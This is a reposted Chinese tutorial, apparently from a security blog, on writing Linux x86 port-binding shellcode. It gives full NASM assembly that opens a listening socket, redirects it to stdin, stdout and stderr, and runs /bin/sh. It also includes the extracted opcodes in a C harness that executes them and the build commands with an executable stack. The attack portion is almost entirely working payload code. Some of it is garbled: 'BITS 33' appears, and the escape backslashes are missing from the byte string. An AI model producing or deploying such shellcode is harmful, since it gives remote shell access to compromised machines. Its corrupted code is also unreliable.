我是靠谱客的博主 炙热耳机,最近开发中收集的这篇文章主要介绍linux下端口绑定shellcode编写与实现,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

  本次实验都是基于《灰帽黑客:正义黑客的道德规范、渗透测试、攻击方法和漏洞分析技术》

实现端口绑定shellcode有下面几个步骤:

(1)     创建一个TCP套接字;

(2)     将该套接字绑定到攻击者指定的端口,这个端口通常会被硬编码到shellcode中;

(3)     让该套接字成为侦听套接字;

(4)     接受新连接;

(5)     将新接受的套接字复制到stdin、stdout和stderr上;

(6)     创一个新的命令shell进程(它将通过这个新套接字接受输入数据并发送输出结果);

port_bind_asm.asm

BITS 33
section .text
global _start
_start:
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx

;server=socket(2,1,0)
push eax
push byte 0x1
push byte 0x2
mov ecx,esp
inc bl
mov al,102
int 0x80
mov esi,eax

;bind(server,(struct sockaddr *)&serv_addr,0x10)
push edx
push word 0xBBBB
push word 0x02BB
mov ecx,esp
push byte 0x10
push ecx
push esi
mov ecx,esp
mov al,102
inc bl
int 0x80

;listen(server,0)
xor edx,edx
push edx
push esi
mov ecx,esp
mov bl,0x4
mov al,102
int 0x80

;client=accept(server,0,0)
xor eax,eax
push eax
push eax
push esi
mov ecx,esp
inc bl
mov al,102
int 0x80
mov ebx,eax ;copied returned file descriptor of client to ebx

;dup2(client,0)
xor ecx,ecx
mov al,63
int 0x80

;dup2(client,1)
inc ecx
mov al,63
int 0x80

;dup2(client,2)
inc ecx
mov al,63
int 0x80

;standard execve("/bin/sh"...)
xor edx,edx
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 0x80

_end:
nop

汇编这个源代码文件,链接该程序,然后就可以执行:
nasm -f elf port_bind_asm.asm

ld -o port_bind_asm port_bind_asm.o

这步成功后,接下来就是提取十六进制操作码。我用自己编的一个自动提取shellcode的opcode脚本把它提取出来,生成一个abc.c文件。

abc.c

unsigned char shellcode[] ="x31xc0x31xdbx31xc9x31xd2x50x6ax01x6ax02x89xe1xfe"
"xc3xb0x66xcdx80x89xc6x52x66x68xbbxbbx66x68xbbx02"
"x89xe1x6ax10x51x56x89xe1xb0x66xfexc3xcdx80x31xd2"
"x52x56x89xe1xb3x04xb0x66xcdx80x31xc0x50x50x56x89"
"xe1xfexc3xb0x66xcdx80x89xc3x31xc9xb0x3fxcdx80x41"
"xb0x3fxcdx80x41xb0x3fxcdx80x31xd2x52x68x2fx2fx73"
"x68x68x2fx62x69x6ex89xe3x52x53x89xe1xb0x0bxcdx80";
main()
{
    void (*fp)(void);
    fp = (void *)shellcode;
    fp();
}

然后编译:gcc -z execstack -o port_bind_sc abc.c
最后执行,也是成功。在ubuntu下编译时必须加-z execstack,使堆栈可执行。在rhel下,似乎不必。反正读测试成功了。并且能用另一台机器访问。

 

转载于:https://www.cnblogs.com/Jason-Damon/archive/2013/06/02/3114054.html

最后

以上就是炙热耳机为你收集整理的linux下端口绑定shellcode编写与实现的全部内容,希望文章能够帮你解决linux下端口绑定shellcode编写与实现所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(33)

评论列表共有 0 条评论

立即
投稿
返回
顶部